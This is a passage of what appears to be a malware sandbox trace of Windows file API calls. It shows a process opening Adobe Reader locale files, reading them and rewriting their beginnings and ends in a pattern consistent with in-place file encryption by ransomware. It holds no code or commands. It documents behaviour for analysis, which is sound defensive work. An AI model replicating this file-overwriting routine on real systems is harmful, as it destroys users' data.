lpUsedDefaultChar=0x0) returned 19 [0041.996] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.HUN", cchWideChar=19, lpMultiByteStr=0x1e78b7c, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.HUN", lpUsedDefaultChar=0x0) returned 19 [0041.996] ReadFile (in: hFile=0x168, lpBuffer=0x2765028, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2765028*, lpNumberOfBytesRead=0x2e0f2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0042.000] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0042.000] WriteFile (in: hFile=0x168, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x2e0f2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0042.000] CloseHandle (hObject=0x168) returned 1 [0042.000] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Multimedia.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\multimedia.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0042.001] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.001] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x13c00 [0042.001] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.001] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.001] ReleaseMutex (hMutex=0x128) returned 1 [0042.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.HUN", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0042.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.HUN", cchWideChar=14, lpMultiByteStr=0x1e6322c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.HUN", lpUsedDefaultChar=0x0) returned 14 [0042.001] ReadFile (in: hFile=0x168, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0042.002] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x12c00 [0042.002] ReadFile (in: hFile=0x168, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.003] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x12c00 [0042.003] WriteFile (in: hFile=0x168, lpBuffer=0x2736c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.004] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0042.004] WriteFile (in: hFile=0x168, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0042.004] CloseHandle (hObject=0x168) returned 1 [0042.004] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0042.004] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.005] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xe8 [0042.005] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.005] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.005] ReleaseMutex (hMutex=0x128) returned 1 [0042.005] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0042.005] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0042.005] ReadFile (in: hFile=0x168, lpBuffer=0x25f0a48, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25f0a48*, lpNumberOfBytesRead=0x2e0f2bc*=0xe8, lpOverlapped=0x0) returned 1 [0042.006] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0042.006] WriteFile (in: hFile=0x168, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2e0f2d0*=0x670, lpOverlapped=0x0) returned 1 [0042.006] CloseHandle (hObject=0x168) returned 1 [0042.006] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\DigSig.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\digsig.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0042.006] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.006] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x21200 [0042.007] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.007] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.007] ReleaseMutex (hMutex=0x128) returned 1 [0042.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.ITA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0042.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.ITA", cchWideChar=10, lpMultiByteStr=0x1e6326c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.ITA", lpUsedDefaultChar=0x0) returned 10 [0042.007] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2e0f278*=0x8000, lpOverlapped=0x0) returned 1 [0042.010] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x20200 [0042.011] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.012] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x20200 [0042.012] WriteFile (in: hFile=0x168, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.012] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0042.012] WriteFile (in: hFile=0x168, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x2e0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0042.012] CloseHandle (hObject=0x168) returned 1 [0042.012] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\ReadOutLoud.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\readoutloud.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0042.013] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.013] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x2c00 [0042.013] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.013] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.013] ReleaseMutex (hMutex=0x128) returned 1 [0042.013] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.ITA", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0042.013] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.ITA", cchWideChar=15, lpMultiByteStr=0x1e6312c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.ITA", lpUsedDefaultChar=0x0) returned 15 [0042.013] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.017] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1c00 [0042.017] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.021] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1c00 [0042.022] WriteFile (in: hFile=0x168, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.022] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0042.022] WriteFile (in: hFile=0x168, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.022] CloseHandle (hObject=0x168) returned 1 [0042.022] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\accessibility.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\accessibility.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0042.024] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.024] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x7c00 [0042.024] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.024] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.024] ReleaseMutex (hMutex=0x128) returned 1 [0042.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.JPN", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0042.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.JPN", cchWideChar=17, lpMultiByteStr=0x1e786cc, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.JPN", lpUsedDefaultChar=0x0) returned 17 [0042.024] ReadFile (in: hFile=0x168, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.030] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x6c00 [0042.030] ReadFile (in: hFile=0x168, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.039] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x6c00 [0042.039] WriteFile (in: hFile=0x168, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.039] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0042.039] WriteFile (in: hFile=0x168, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.040] CloseHandle (hObject=0x168) returned 1 [0042.040] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\IA32.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\ia32.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0042.040] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.040] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xc00 [0042.040] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.040] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.040] ReleaseMutex (hMutex=0x128) returned 1 [0042.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.JPN", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0042.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.JPN", cchWideChar=8, lpMultiByteStr=0x1e6334c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.JPN", lpUsedDefaultChar=0x0) returned 8 [0042.040] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0xc00, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2e0f2bc*=0xc00, lpOverlapped=0x0) returned 1 [0042.399] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0042.399] WriteFile (in: hFile=0x168, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x1188, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x2e0f2d0*=0x1188, lpOverlapped=0x0) returned 1 [0042.449] CloseHandle (hObject=0x168) returned 1 [0042.449] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\SendMail.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\sendmail.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0042.450] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.450] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x3200 [0042.451] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.451] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.452] ReleaseMutex (hMutex=0x128) returned 1 [0042.452] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.JPN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0042.452] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.JPN", cchWideChar=12, lpMultiByteStr=0x1e6316c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.JPN", lpUsedDefaultChar=0x0) returned 12 [0042.452] ReadFile (in: hFile=0x168, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.458] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2200 [0042.458] ReadFile (in: hFile=0x168, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.462] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2200 [0042.462] WriteFile (in: hFile=0x168, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.463] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0042.463] WriteFile (in: hFile=0x168, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.463] CloseHandle (hObject=0x168) returned 1 [0042.463] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\BRdlang32.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\brdlang32.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0042.464] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.464] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x2400 [0042.464] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.464] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.464] ReleaseMutex (hMutex=0x128) returned 1 [0042.464] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.KOR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0042.464] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.KOR", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.KOR", lpUsedDefaultChar=0x0) returned 13 [0042.464] ReadFile (in: hFile=0x168, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.469] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1400 [0042.469] ReadFile (in: hFile=0x168, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.469] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1400 [0042.469] WriteFile (in: hFile=0x168, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.469] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0042.470] WriteFile (in: 